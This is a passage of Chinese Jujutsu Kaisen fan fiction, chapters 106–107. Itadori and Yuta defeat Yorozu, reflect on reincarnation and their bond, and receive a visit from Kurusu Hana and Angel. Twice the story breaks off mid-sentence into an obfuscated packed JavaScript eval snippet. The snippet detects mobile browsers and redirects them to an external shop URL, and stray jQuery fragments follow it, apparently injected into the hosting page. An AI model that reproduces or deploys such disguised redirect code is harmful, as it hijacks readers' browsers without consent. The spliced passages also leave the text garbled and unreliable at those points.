除了后脑的黑发,他还有哪里和她长得很像吗?
虎杖悠仁问道:“容器的意识呢?”
“哈?”万挑起一侧的眉毛,轻蔑地说:“谁管她啊。”
只增加了掌印的施用过程作为一个仪式来讲尚不完全,但这是虎杖悠仁能做到的极限。他的术式能力被万的“真球”完全克制。拥有无限压力的完全球体理论上不可实现,假设万的“真球”真的将它变为了现实,这意味着它几乎是不可被摧毁的。
虎杖悠仁的术式完全展开,万被无法抵抗的超级重压径直压倒。“真球”的前进迟滞了,它像一个静止的黑洞悬浮着,带着毁灭性的力量等待领域的必中效果击溃虎杖悠仁最后的抵抗。
无法解决“真球”,那就让它停下来,解决万。
她目眦欲裂,千锤百炼的身体与咒力防御让她仍能在大地的挤压中保持肉|体完整,但没有了虫之铠,她只能自己来抵挡这恐怖的重力。
万听到了骨骼咯吱作响的悲鸣。
压在她身上的重力依旧在增加,不过——
率先动起来的是“真球”。维持着【反重力机构】的虎杖悠仁必须在“停止‘真球’”和“压死万”之间做出权衡,他对术式的掌控在这样极端的条件下得到了升华,能够针对术式范围内不同对象施加不同的重力。
迫切想要先让术师本人出局的想法让他无力继续保持对“真球”的压制,领域“三重疾苦”的必中效果推动着漆黑的球体开始加速。
“哈!啊哈哈哈哈哈哈哈哈哈!!!”万在狂笑着。
虎杖悠仁孤注一掷,将全部的术式效果集中在了万的身上。他的术式生效时间即将结束,与其畏手畏脚,倒不如在生死关头放手一搏。
万的肋骨和肢体末端的骨节应声断裂,下巴狠狠磕在了被压出凹陷的地面,嘴角溢出鲜血。体内的断骨可能刺破了她的肺,这下她彻底连头都没办法抬起来,更别提张嘴发出嘲笑。
但是,“真球”已经来到了虎杖悠仁的身前。
术式持续时间已经结束,他避无可避。
万的头发胡乱披散着,她从被压出的坑馅里抬眼,阴鸷地盯着让她这样狼狈的少年,恶狠狠地想要亲眼目睹他被“真球”碾碎的悲惨下场。
然而她却没能从虎杖悠仁的脸上看见任何直面死亡的恐惧。
微不可察的破碎声听起来像是敲碎玻璃一样清脆,它从虎杖悠仁的身后传来,没有传入远方的万耳中。
106. 第 106 章
骤然投入领域内的阳光晃得万下意识眯眼,反应过来发生了什么的古代术师不可置信地自语道:“我的领域——?!”
漆黑球体前进的势头彻底停了下来,取代纯白领域的同样是一片陌生的异空间。
万侧目,发现他们没有回到雾岛的街头,周围耸立着白色的立体十字结构,目之所及的地面上插满了各种形制的武士刀,空间的边界遥不可及。
虎杖悠仁没有回头,他的视线越过了身前的“真球”,与万对上了眼神。
“......你这个——!!”败局已定的古代术师没能将疯狂的诅咒之言尽数吐出,硕大的阴影便把她笼罩了进去。白色的式神一拳将她重新砸进坑中,力道之大让周围的地面受力开裂,掀起的烟尘久久未散。
里香生气地吼着:“——你跟谁嚣张呢?!”
新领域的主人终结了这场厮杀。乙骨忧太立于十字结构之上,和虎杖悠仁一样紧盯着万的方向。
“还行吗?”
虎杖悠仁甩甩手臂,身上出血严重的贯穿伤基本都被他用反转术式修复了,沉声应道:“嗯,没问题!”
万的领域破碎,在术式熔断期被拉入了乙骨忧太的领域,这几乎宣告了她的死刑。
“呵呵,”她干脆躺在了地上,脸颊还能看出被里香击打的痕迹,“没想到现代居然还有你们这样的术师……真是无聊透顶。”
失去控制的完全球体终于落回了地面,仅仅是轻微的触击就让它彻底变成了无数碎块,散落满地。
里梅可没告诉她还有个能开领域的家伙跟在虎杖悠仁的身边。
“你是宿傩的什么人?”虎杖悠仁问道。
因为诅咒之王而找上他的术师不外乎都是看中了他体内摄取的诸多宿傩手指,将他当成了拥有宿傩大部分力量的人形咒物。尽管这么说也没差,但像万这样喊着要和宿傩结婚的人他还是第一次遇见。
“我是他的未婚妻!!!我是他未来的妻子,我会教他爱是什么,不会让他再露出那样孤独的表情!!!本来应该是这样的——但是一切都被你们毁了!!!”
万歇斯底里地怒吼着。
乙骨忧太疑惑地望向虎杖悠仁,发现粉发少年一副难以理解的模样苦恼皱眉,于是他也在万癫狂的言语输出中彻底放弃搞明白她究竟在想些什么了。
“不过,”乙骨忧太随手拔出了领域内的一把刀,颠了颠,“我是不会让你带走他的。既然话都说得差不多了,那就请你先去死吧。”
万从乙骨忧太的眼神中看出了点杀意之外的东西。她为自己的这一发现爆发出惊人的笑声,然而很快她像是慢慢失去了力气一样,因大笑而起伏的胸腔在骤然意识到某个事实后立刻被惊惶填满。
“不、这怎么可能——不不不不!!!这不可能!!!”
她忽然完全失去了方才高高在上的模样,连落败也无法让她露出这样无比震惊的表情。
“容器的意识已经消失了。”虎杖悠仁皱着眉对来到他身边的乙骨忧太说。
他们没办法理解万,作为本就不该出现在这里的古代术师,死亡就是她最好的结局。
万的双手扯着自己的头发,甚至留下了眼泪,狂怒地嘶吼着:“——他怎么可能明白爱是什么?!能教会他爱是什么的只有我才对啊!!!”
只有她的爱才能杀死诅咒之王。
比起千年前因为戒律、因为理想、因为想要得到认可、因为想要实现自我价值而前赴后继向宿傩发起挑战的那些俗人来说,只有她的爱才能与那个孤高之人比肩,有资格让他不再孤独,为他献上死亡。
杀意与爱就如同人和脚下的影子,对万而言,将它们混为一谈也没什么错。
虎杖悠仁是一个完美的容器,尽管万不知道粉发少年是羂索特意打造的牢笼,但她奇特的脑回路让她绕过了这一点,真切地理解了宿傩拒绝这个容器的理由。诅咒之王从不屑于理会旁人针对他的阴谋,在绝对力量的压制下,任何阴谋诡计都无法阻挡他的归来。
然而,这样唯我独尊的宿傩却拒绝了受肉。
仅仅是在乙骨忧太抵达后的数分钟内,自诩理解爱、拥有爱,能够予人爱的古代术师就看穿了他们之间的关系——那种眼神和改变的气息是无法瞒过她的。
不管万的内心经历了怎样的挣扎,最终她得出了一个结论。
诅咒之王知晓爱是什么,对她的示爱视若无睹的原因......只是因为他觉得那很无聊罢了。
“我不知道你们之间发生过什么,但是爱和杀意从来不能混为一谈,”乙骨忧太改变了赋予给领域的生得术式,深红的星星闪耀在虚假的天空,“尽管我的老师也说过‘爱是最扭曲的诅咒’,不过我觉得那并非针对所爱之人,而是自己才对。”
落下的斩击同样切碎了万的遗言,“真赝相爱”内的【御厨子】以最接近诅咒之王使用时的模样被释放了出来。沉醉于追逐孤高之人的古代术师湮灭在了她最熟悉的术式里,彻底失去了生机。
领域被主动解除,虎杖悠仁向后退了两步,直接坐到了地上。他看到了一个形似蝇头的东西一闪而过,没等他想明白那是什么东西的时候,乙骨忧太冲过来挡在了他的身前。
“悠仁?!让我看看你的伤!”
“......你来得太及时了,忧太,”虎杖悠仁任由乙骨忧太查看他身上那些揪心的伤口,亲近的咒力流入身体,将内部的伤势重新修复了一遍,“我差点以为自己要死了。”
他听到身前的黑发少年叹息了一声。
“别说这种话,”乙骨忧太的手放到了他的胸前,抬起他的下巴去看被蹭出的伤,“不然你该让我怎么办呢?下次让你单独出门的话,我都......”
他好像没办法再心平气和地接受他们需要分开的情况,如果见不到人的话就会觉得焦虑,心里想要信任对方能够保护好自己,可看看现在浑身是血的虎杖悠仁,他该怎么说服自己不要那样神经质地总想着赖在对方身边?
“抱歉,她突然冒出来,”蔓延的疼痛现在才姗姗来迟,虎杖悠仁终于露出吃痛的表情瑟缩起来,“要是我也会领域就好了。别担心啦,但是我刚才好像搞坏了旁边的房子......”
乙骨忧太摇摇头,望向已经闻讯赶来的警官说道:“你已经做得很好了,其他的事我们回去再说。”
之后的沟通与赔偿问题都由他一人协商解决。还在高专执行任务的时候乙骨忧太跟着七海建人处理过类似的事件,一些经验丰富的警官知晓内情,窗内也有专门的辅助监督负责善后工作,一般来说咒术师们只需要联系对应的人员就好了。
虽然现在他们情况特殊,但窗的基本运转仍未停滞。
虎杖悠仁现在这副样子着实有点吓人,所以他们暂缓了购买食材的计划,先回家换掉了这套已经彻底报废的运动套装。
往回走的这一路上,虎杖悠仁都有些心不在焉。刚才闹出来的动静不小,本来看起来没什么人的街道忽然冒出了很多出来查看情况的居民。
自行车幸运地没有受到波及,他们将它带了回去。
“去洗个澡吧。”乙骨忧太推他进了浴室。
虎杖悠仁将头伸到花洒下的时候还在想在万的领域里时突然领悟的掌印。那种感觉和他第一次打出黑闪时极为类似,他可以清晰地明白自己此刻已经突破了界限,能够做到原本拼尽全力也摸不到边的事情。
“诶?你是说万的领域不太一样?”吹风机的噪音有点大,所以乙骨忧太不得不提高了自己的音量。
粉色的头发湿哒哒地缠绕在指缝间,凉意被热风迅速带走了。虎杖悠仁试图让乙骨忧太明白自己感觉到的现象:“就是、和火山头的那个领域给人的感觉不一样。我从她的领域本身感受不到任何威胁,漏瑚的领域就让人觉得如果不用咒力防御的话,只要一踏进去就会被高温烧成灰烬。但是万的领域不是这样的。”
乙骨忧太多少听明白了一点。
领域展开是用咒力将被赋予了术式的生得领域具现化的行为,展开后的领域内,术式具有必中必杀的效果。“必中”很好理解,而“必杀”则是一个比较笼统的形容。
领域内的术式效果会得到提升,甚至性能完全发生改变,比如“无量空处”里的“无限”不再是指那一片不可侵的空间,而是化作无尽的信息流强制塞入术式对象的脑海,以此达到一击制敌的效果。
包括乙骨忧太自身在内,他遇到的所有领域几乎都遵循了这一规律。真人的“自闭圆顿裹”让它的手无处不在,只要踏进空间就相当于一定会被“原型”触碰到。“盖棺铁围山”也将漏瑚术式中的高热发挥到了极致。
说回乙骨忧太自己,他可以挑选模仿来的术式之一赋予自己的领域,与此同时他还能继续在领域内使用那些散落各处、附着着术式的刀具。简言之,在他们的认知中,领域是不可能“无害”的。
虎杖悠仁在“三重疾苦”内体会到的全部威胁都来自那个完全球体。
“也许,她开领域只是为了让‘真球’拥有必中效果?你也说了她想要直接操纵那个球击中你是个很费力的事。”乙骨忧太猜测道。
虎杖悠仁扬起头:“只追求必中效果的领域?”
“没准就是因为舍弃了必杀效果才让她的领域闭合得那么快,”乙骨忧太安慰他,“既然已经找到了掌印,或许可以多练习一下结界术?”
虎杖悠仁没有及时答话,而是停了一会儿,才在吹风机的噪声中感叹:“果然忧太你还是太厉害了。”
头顶传来指腹稍微用了些力气的按压感,他的头顺着力道向下点了点,听到身后的人略显无奈地说:“怎么突然又说这个?”
“只是想夸你啊。”
脑袋被人轻轻拍了两下,像是在哄小朋友一样。
“你在家等我吧,我出去把食材买回来。”乙骨忧太收走了他垫在脖子上的湿毛巾,自顾自地做出了决定。
“好哦!”虎杖悠仁扭过头来答应。
在他准备站起来的时候,下巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378245|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
突然被人捏住,轻轻向一侧转了过去。他屏住了呼吸,乙骨忧太凑过来看他脸颊上已经愈合、只剩下了一道浅浅痕迹的伤口。
“......还是有一点点疤痕。”乙骨忧太再次催动反转术式,拇指加了点力道摩挲着眼下的那道横纹,直到它彻底消失在脸颊上,再无半点存在过的迹象。
“说起来,在遇到万之前我好像还感受到了一个非常熟悉的咒力气息,”虎杖悠仁就着这个姿势继续说道,“那晚遇到里梅之前还有一群人闯到教会里来了,里面有一个速度很快的术师。”
乙骨忧太放开了他,伸手去拿自己的外套和围巾:“禅院直哉?”
虎杖悠仁跟着他来到玄关:“是个黄头发的家伙。”
“那就是他了,”乙骨忧太的眼神游移了一下,“不管他准备做什么,只要不打扰我们的事就不必在意。”
虎杖悠仁蹭了蹭鼻尖,应道:“好吧。注意安全。”
“那我出发了。”黑发少年的脸上泛起笑容。
留在家里的虎杖悠仁打开了电视,调转到了新闻频道。官方还没有公布更多的细节,但社交平台上已经出现了许多关于死灭回游的小道信息,只不过大多真假难辨。
万的存在让他意识到现在应该还有不少像她一样受肉的古代术师依旧游荡在结界外,那个看起来像是蝇头一样的咒灵是什么东西?根据乙骨忧太从伏黑惠那里听来的规则,结界外还有一些被羂索通过【无为转变】改变了大脑结构,由非术师变成了术师的人,这类人需要在十九天内到结界宣誓参加游戏。
既然没有提到古代术师......那就是羂索早已做好了准备,他笃定他们必然会参加这场死亡游戏,而那个人最喜欢用的就是束缚。估计是在制作咒物的时候带上了“要参加死灭回游”这样的要求吧。
古代术师。
什么样的执念能让他们选择期待“来世”,抛弃自己熟悉的家人与朋友只身来到全新的时代?
背负着各自的诅咒睁开眼睛再次看到天空与大地,摆脱了未曾得到满足的人生,祈盼着这二度重生......虎杖悠仁坐在沙发上,眼神放空望向发出荧荧光亮的电视屏幕。
哪会有完全得到满足的人生啊。
会后悔的事,谁都做过的吧?如果死前无法释怀,那就会掉入诅咒的漩涡,连死后也会在涡流中打转,不得解脱。只是......虎杖悠仁不觉得自己有立场去指责任何人的选择。
他想试着掀翻这个被诅咒扭曲的世界。
而他也不知道如果失败了,自己会不会像这些古代术师们一样卑劣地祈求第二次机会。
乙骨忧太很快就回来了,他将空荡荡的冰箱填满,因为来不及做饭就热了顺手买回来的便当。酱汁的味道千篇一律,不过他们都不太在乎这些。
“忧太,如果给你一个在百年后重生的机会,你会接受吗?”
黑发少年抬眸,看见虎杖悠仁的表情就知道万的事情还没有从他心中过去。乙骨忧太明白这不是可以被敷衍过去的问题,所以认真地思考、认真地答道:“我大概没有这样的魄力吧?对我来说,一个人的话总有一天会到达极限。就算因为某种深沉的执念选择了这样的方式延续生命,那个时候也会是一个只知道诅咒的怪物,那样的人生......真的还能被称为延续的生命吗?”
他浅浅地笑了一下,看着虎杖悠仁的眼神很温柔:“对我来说,现在已经是最幸运的了。”
“......”虎杖悠仁张了张嘴,凝望着桌子对面的人弯弯的眉眼和圆润的眼角,用目光描摹着熟悉的轮廓。
“遇到过很好的朋友、值得尊敬的监护人,有强大的老师、善良的同期,”乙骨忧太的表情简直就是在说‘看啊,我认识过这么多人!’,虎杖悠仁闭上了嘴巴,静静听着,“如果人生就这样结束的话,会很遗憾,但是也不会后悔了。”
虎杖悠仁脸上的神情逐渐舒展,他忽然撑起下巴,心存逗弄的意思说道:“那可不行啊,你死了的话我怎么办?”
他没想到乙骨忧太居然一本正经地说:“悠仁继续好好活下去就好。如果想得起来就给我扫墓,想不起来的话就算了。爱上别人也好,拥有自己的幸福也好......我不会诅咒你的啦。”
“真的吗?”虎杖悠仁歪着头,根本不上他的当:“可是你的眼神好像在说‘要是敢喜欢上别人就算变成诅咒也要爬回来’诶。”
“......在成佛之前看到的话的确会吃醋的。”
虎杖悠仁突然开怀地笑了两下:“你每次都是这样啊,忧太。”
明明怎么想的都摆在了眼睛里,而且伪装也烂得要死,可偏偏就是得等虎杖悠仁戳破他的心思才肯大大方方地承认。
但是。
“好吧,”粉发少年像他们小时候那样给出了承诺,“那我们就永远在一起吧!”
我不知道离开你的日子还能否被称作幸福。
若以死亡当作一切的结尾,那就在它真正到来之前尽情相爱吧。
107. 第 107 章
“你觉得我们有没有机会在死灭回游的规则上想办法?”虎杖悠仁说。他原本不准备过多关注这个游戏,只将它当成了羂索收集咒力和开启同化前的彩排仪式,但万的出现让他重新在意起来。
羂索为了开启死灭回游,自身一定也背负了相当的束缚,天元也确认了这一点。而死灭回游中有一条规则是可以用自身拥有的分数来向管理者提出申请,增加新的规则。只要不影响游戏的永续性,一般是不会被拒绝的。
羂索不是死灭回游真正的管理者,某种意义上来说他也会受到规则的制约,虎杖悠仁正在思索能不能利用这一点来让他的赢面更大一些。
比如把开启同化的权限握在自己手里。
乙骨忧太编着黑绳,回答道:“伏黑他们说,天元猜测羂索得想办法终止死灭回游才能推动他自己的计划。”
除非在死灭回游中借由规则强迫羂索与他设立束缚,否则游戏结束后所有有利于他们的规则也会彻底消失。
虎杖悠仁嘟囔着:“那还是不要了。”
他比划着掌印,感觉自己像是在学习数学一般遇到了难以跨越的知识点。这只是个手势而已,为什么在万的领域里时能让他将术式发挥出前所未有的力量呢?和里梅对战时是因为黑闪,也许重点不在掌印,而是某种状态?
“掌印是仪式的一部分,”乙骨忧太安慰他,“京都校的歌姬老师还会在全力施展术式的时候跳神乐舞,包括咒词在内,那都是能将术式作为仪式升华的方法。”
看到虎杖悠仁依旧很苦恼的样子,乙骨忧太想了想:“说起来,你知道新·阴流吗?”
“多少听说过一些,”虎杖悠仁换了个姿势撑着脑袋侧躺在榻榻米上,“用‘简易领域’的那个咒术流派?”
平安时代,新·阴流的创始者芦屋贞纲为了避免自己的弟子在咒术全盛时代死于非命,以奥义“弥虚葛笼”为原本创造出了“简易领域”。只是新·阴流的弟子们都立下了束缚,不能将这一技法外传。
“其实偷看偷学似乎不会被束缚影响,五条老师给我讲过它的要点,偷看的话......我倒是看日下部老师用过。”乙骨忧太给认真听着的虎杖悠仁重复了五条悟告诉他的内容,并将自己“偷学”来的感想说给他听。
他觉得也许理解“简易领域”的话能帮助虎杖悠仁解开疑惑,毕竟领域展开最重要的就是张开结界,“简易领域”的结界虽然与领域的闭合结界不太一样,但还是能够从中借鉴一二的。
会了领域展开之后他就没再钻研过“简易领域”,所以现在也只能提供一些嘴巴上的帮助,没办法亲身示范。
“不,已经帮大忙啦!”虎杖悠仁挺身坐了起来,准备去院子里尝试一下。他们在房子周围设下了“帐”,只要不搞出地动山摇的大动静,不会影响周围的居民。
说起来,他会使用的领域展延可以抽象地看作将领域翻过来使用,这么一想展延不应该比单纯地开启领域还要困难吗!
会了展延却没开过领域……难道真的像是数学一样和他相性不合吗?胀相教他的时候也说得云里雾里,能学会也算是超级幸运地对上了脑回路。
虎杖悠仁嘟嘟囔囔地走进了院子里。
因为获知领域展延的过程中出现了不怎么擅长教人的胀相,虎杖悠仁对展延的认知出现了错位。
他以为的“更困难”实则存在着一个绝对不可推翻的因果关系,若单从技法的名字来看也大致能够琢磨出一二。
没有领域的人怎么能将其化作水一般包裹住自己呢?
但因果关系偶尔也会藏在目之所及以外的地方。至少在咒术中,天赋是个冰冷又活泛得可怕的词汇。
比如开启领域的天赋。
——
伏黑惠啧舌。他在进入结界后发现自己被传送到了高空中,身边没有了伏黑甚尔的影子,只剩下形似蝇头、身为联系死灭回游管理者的窗口的小金虫。规则里可没说进入结界的泳者会被随机传送啊?!
有人试图在他坠落的时候发起截击,但是败在了鵺和大蛇之下。伏黑惠平稳落地,先让鵺留在上空寻找伏黑甚尔的踪迹,他自己则开始判断被传送过来的地点。
这附近似乎是......池袋?
“算了。”他选定了一个方向先行前进,开始研究死灭回游的规则和小金虫能够做到的事。小金虫不会显示泳者们的信息,所以为了找到天使,他们必须至少增加两个规则。
让小金虫展示泳者们的分数、姓名和所在结界,其次就是自由出入结界的许可。
增加两条规则,那就至少需要200点分数......从效率上来考虑的话,也许最先应该增加的是可以转让分数的规则。
“结果越来越复杂了。”伏黑惠等待着鵺的搜寻结果。结界内并没有被切断电力,但是被阻断了电波信号,和随机传送一样不是写在规则上的明文条款,所以伏黑惠大胆猜测这两条隐藏规则是直接被附加在结界上的内容,而非死灭回游自身的规定。
没准小金虫也还有什么未被开发出来的隐藏能力。
吉野顺平跟在机械丸身边,和三轮霞一起帮着他维护全国咒术师们的联络通道。机械丸在天与咒缚消失后恢复了行动能力,但术式范围大大缩小,为了能让联络连通到几乎分布在全国各地的结界,他开始不眠不休地修改着自己的机械造物,目前还在调试阶段,所以暂且没办法帮上忙。
狗卷棘、熊猫和七海建人来到了秤金次和星绮罗罗在栃木县的落脚处。
劝说的过程比预想中的要顺利太多,可能绝大部分功劳要属于颇受信任的七海建人。
“所以,乙骨那家伙真的就那么跑了?”秤金次还是第一次听亲历者描述涩谷当晚发生的战斗,对乙骨忧太选择在最后直面羂索的时候和虎杖悠仁直接离开感到不可思议。
“阿金你那个时候不也直接走了嘛!”星绮罗罗说的是去年百鬼夜行事件的时候,和保守派起了冲突的秤金次也直接在战场上掉头就走。
“啊哈,这倒是。”那就没资格对乙骨忧太的选择说三道四了,秤金次摸着自己的小胡子,思考七海建人提出的合作邀请。
“理论上来说,你们还算是停学中的学生,”七海建人推了推眼镜,“在五条先生被封印的时候,我们需要找到更多可靠的同伴。”
秤金次耸耸肩:“老实说,现在的咒术界让我看不到什么激情,但是死灭回游这个游戏听起来......”
带着一种能让人升起“凭借这一场游戏来改变人生吧!”的狂热。当然,仅凭这个游戏还不至于彻底点燃他,既然高专,不,曾经的同伴们都这样说了——
熊猫抖了抖耳朵。
“秤还是老样子啊。”它悄悄和狗卷棘吐槽道,得到了咒言师煞有介事地点头。
七海建人说道:“这场游戏过后......不管结局如何,咒术界显露在非术师面前已成定局。如果你有什么想法大可以在那之后去实现,毕竟那将是一个全然不同的世界了。”
秤金次同意了,星绮罗罗也没有异议。
“所以,”追求‘狂热’的赌徒问道,“我们现在要从什么地方入手?找人这种事情应该找机械丸吧?”
“除了找人,我们还得尽可能多的拿到分数,”七海建人向他一一细数了众人准备增加的规则,包括脱离游戏在内,林林总总算出来三四条比较重要的内容,“伏黑同学和其他人都已经各自进入结界为此努力了。”
也许寻找天使的确是个会很看运气的事吧。
虎杖悠仁站在门口,看着留有黄色卷发妹妹头、穿着毛衣的少女有点不太确定地说:“你是......你是那个孩子吗?!”
他探头探脑地看着少女背后的翅膀,疑惑地想这是什么最近流行的穿搭吗?角色扮演?
“我是来栖华,”少女自我介绍,被从虎杖悠仁身后冒出来的乙骨忧太吓了一跳,“呜哇——?!”
乙骨忧太:“......谁?”
虎杖悠仁比比划划地说:“忧太你忘了吗?那个假妈妈咒灵!我还把我的关东煮给她吃了来着!”
来栖华被勾起了回忆:“那杯关东煮的确很好吃......不要瞪着我啦!!”
虎杖悠仁放下了手臂。那天他们去看望爷爷来着。
“抱歉,但你直接闯到了‘帐’里,至少应该先说明你的来意,来栖小姐。”乙骨忧太的手搭在了虎杖悠仁的肩膀上,让粉发少年收敛了因为见到了意料之外的熟人——勉强可以这么说吧——而变得兴奋起来的情绪,同样升起了一丝警惕。
他设下的“帐”应该拒绝所有陌生人的到访,为什么她还能来去自如?
“是因为我的术式。”一道陌生的女声打断了他们的谈话,两双眼睛同时望向了来栖华的脸颊,那里出现了一张嘴巴,正在一开一合地说着话。
虎杖悠仁惊呼:“脸上长出了嘴巴?!”
“——受肉的古代术师?!”乙骨忧太脚下的影子蠢蠢欲动。
因为突然出现的第四人,现场的气氛变得有些剑拔弩张。虎杖悠仁和乙骨忧太收起了友好的态度,来栖华摆着手想要解释什么,但又因为她知道的东西不多而无从开口。
“先来做一下自我介绍吧,”少女体内的另一个人说道,“我是天使。华是我的容器,但我们现在是共生的关系。”
天使?那不是伏黑他们想要找的人?!少年们面面相觑,不敢相信咒术师们寻找的目标就这样直接找上了门来。
天使是来自千年前的术师,她选择与容器共生,并且认为剥夺了容器意识的术师们都违背了神的天理。听她的意思似乎对其他违背戒律的术师报以最大程度的不喜。
“不,我要消除所有受肉的泳者,这是神的要求。”天使的说法让虎杖悠仁更加疑惑了起来。
不过......神?
“神,”乙骨忧太同样皱起眉头,“什么神?”
来栖华背着手,听天使侃侃而谈:“不必在意,硬要说的话就是给我的信条找了一种通俗易懂的说法。”
这下虎杖悠仁听明白了。
她并非真的能够听到神明的要求,只是在遵从内心的选择时给自己的行为找了一个听起来比较唬人的说法,类似于“上帝会惩罚你,而我要送你去见上帝”之类的。
来栖华解释道:“我们是追着一个叫万的古代术师过来的,结果发现她已经被解决掉了......你们的这个‘帐’真的太显眼了,是个咒术师都能看到的吧?”
虎杖悠仁:“但是直接闯进来的只有你们啊!”
天使纠正了来栖华的说法:“准确地说,我是为宿傩而来。”
诅咒之王的名字一出,虎杖悠仁止住了话头。来栖华下意识地打了个冷颤,因为对面那两个人的眼神又变得意味深长了起来。带着冰冷的寒意,注视着她的目光在友善与敌视之间来回切换。
来栖华默默抱怨天使说话总是文绉绉的,还有爱大喘气的习惯。
“堕天是毫无疑问的恶,为了彻底杀死这个极恶之徒,我才选择跨越千年来到这里。”天使终于道出了自己的真正目的,可是这并没有打消少年们的警惕,反而似乎让他们变得更加紧绷,乙骨忧太甚至不知道从哪里直接拿出了一把刀在手里。
“他在你的身体里吗?”
诶?!这么直白?!万一直接打起来怎么办啊?!
乙骨忧太眯起眼睛:“他不是容器,但体内的确有从宿傩那里得到的力量,你能感受到宿傩的咒力也是因为这个。”
天使似乎在沉思。
身为话题中心的虎杖悠仁沉默不语。
寂静的僵持持续了一小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378246|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
段时间,最后来栖华脸颊上的嘴巴终于开口道:“宿傩还没受肉吗?”
虎杖悠仁实话实说:“不知道。除了被我吃掉的手指之外,剩下的一部分在里梅手里。”
还有五条悟藏起来的那一根。但这件事就没必要说出去了。
“里梅......他果然也来了。”
天使是活跃在平安时代的术师,与宿傩、里梅和万等人生活在同一个咒术全盛的时代。她自然明白现在的虎杖悠仁比起容器,更像是封印着宿傩大部分力量的咒物。如果宿傩真的受肉,他也必然要来找虎杖悠仁取走自己原本的力量。
“我要跟着你们一起行动,”天使做出了决断,“这样就算堕天找过来也没关系。”
“这个不行!”
“不行。”
虎杖悠仁和乙骨忧太异口同声地拒绝道。
天使不明白他们拒绝的理由。
来栖华看见粉发少年双手抱臂,有点为难但依旧语气坚定:“宿傩不是现在我们需要面对的最大问题,而且你们是泳者吧?我们不准备参加死灭回游,所以跟在我们身边也没有任何意义。”
乙骨忧太看起来本来想了些别的理由,不过听到虎杖悠仁的说法后,侧了侧头表示“就像他说的那样”。
来栖华没有插话,不过暂且让众人停止继续这场观点相反的谈话的是她的肚子。
“啊!”她有些懊恼地捂住了脸,连天使都不说话了。
“来栖,你中午没吃饭吗?”虎杖悠仁直白地问道。太阳还高高挂在天空,难道是因为飞起来很耗费体力吗?如果从东京一路飞过来的话,那的确是个体力活。
乙骨忧太叹了一口气。
“进来吧,”黑发少年让开了玄关位置,“这附近倒是有很多旅馆,如果你们打算继续再在这边待一阵子的话倒也不至于流落街头吧?”
虎杖悠仁瞥了他一眼。乙骨忧太说话很少这么不客气,当然他认真起来战斗的时候除外......说不上是为他难得的幼稚行为感到哭笑不得还是别的什么,总之虎杖悠仁忽然变得心情极好,脸上露出了浅浅的笑意。
来栖华垂头丧气:“我有打工的时候存下来的钱啦……”
但是每晚都住旅馆还是有点太奢侈了!
“好宽敞……这是你们租下来的房子?”少年们决定“施舍”一顿丰盛的午餐给这位不请自来的客人,来栖华自觉地想要帮忙,但因为灶台前站不下那么多人而被请回了客厅的沙发上。
“房子是忧太找的,”虎杖悠仁一边洗菜一边说,“我们付了半年的租金。”
乙骨忧太在埋头切菜。
“阿惠没跟你们在一起吗?”
“你说伏黑?啊、这个……”虎杖悠仁犹豫了一下,小心翼翼挑选着自己的措辞:“暂时没有?大家都有自己要做的事情嘛。”
“难道你们现在最重要的不是终结死灭回游吗?”天使说道。她能够看到容器的记忆,但来栖华与咒术界的关联除了小时候的经历之外,基本完全没有其他的交集,所以她无从判断当今的咒术界究竟是何种模样。
“是倒是,但是我也说过了,”虎杖悠仁认真道,“大家都有自己必须要做的事。”
屋子里并不安静,但每个人都若有所思,各有心事。
来栖华干脆叫出小金虫来打发时间,帮助自己逃离这令人尴尬的氛围。
乙骨忧太看见了小金虫,他和好奇的虎杖悠仁解释之后问道:“我记得死灭回游的结界不允许泳者离开吧?你们是怎么出来的?”
天使回答了乙骨忧太的问题。因为她的术式特性,所以她们可以无视任何结界,“帐”说到底也是一种结界术,自然无法拦住她们。
黑发少年沉默地点头,认可了这个解释。
“既然这样的话,你们在结界里找落脚点似乎更划算一点,”虎杖悠仁起锅烧油,电饭煲发出计时的声响,“虽然这么说不太好,但里面应该也花不了钱吧?”
结界里有的是空房间。
反正来栖华会飞,她身后的翅膀可不是摆设。结界里也没人会跟她要房租,如果吃不到新鲜的饭菜也可以飞出结界到附近的城镇吃饭。
“进入结界一定会被结界的设立者捕捉到,”天使开口,“也许别人没这个本事,但羂索一定能。”
幕后主使的名字一出,这下是真的直接让少年们变得沉默寡言了起来,似乎没有人愿意谈论任何关于这个活了千年的阴谋家的事。
这顿饭相当丰盛,来栖华这几天为了追上万几乎没怎么好好休息,如今不禁感叹起虎杖悠仁和乙骨忧太的手艺,慢慢在进食的过程中彻底放开了手脚。
不怎么饿的虎杖悠仁没动筷子:“伏黑把你们带下山之后呢?”
“还有家人在的就都送回家去了,像我这样的就被送到了福利院,”来栖华说道,“因为那个时候大家都很小,只要有人重复不断地告诉他们看见的都不是真的,再加上长大后早就遗忘了那些记忆,大多数和我一起被救出来的家伙已经是完完全全的非术师了。”
“……那他们还挺幸运的。”
“大概是吧。”
来栖华和天使在吃完饭后识趣地没有继续打扰,在他们交换了联系方式后便主动离开了,听她们的交谈似乎是准备到结界附近找个落脚处。
送走她们的虎杖悠仁关上了门,乙骨忧太已经先一步将客厅重新收拾干净。
“你刚才一直很沉默诶,忧太。”
乙骨忧太摇了摇头:“天使遵循戒律不肯附身,这就意味着她需要考虑来栖华的意志。她听起来更熟悉伏黑同学一点。”
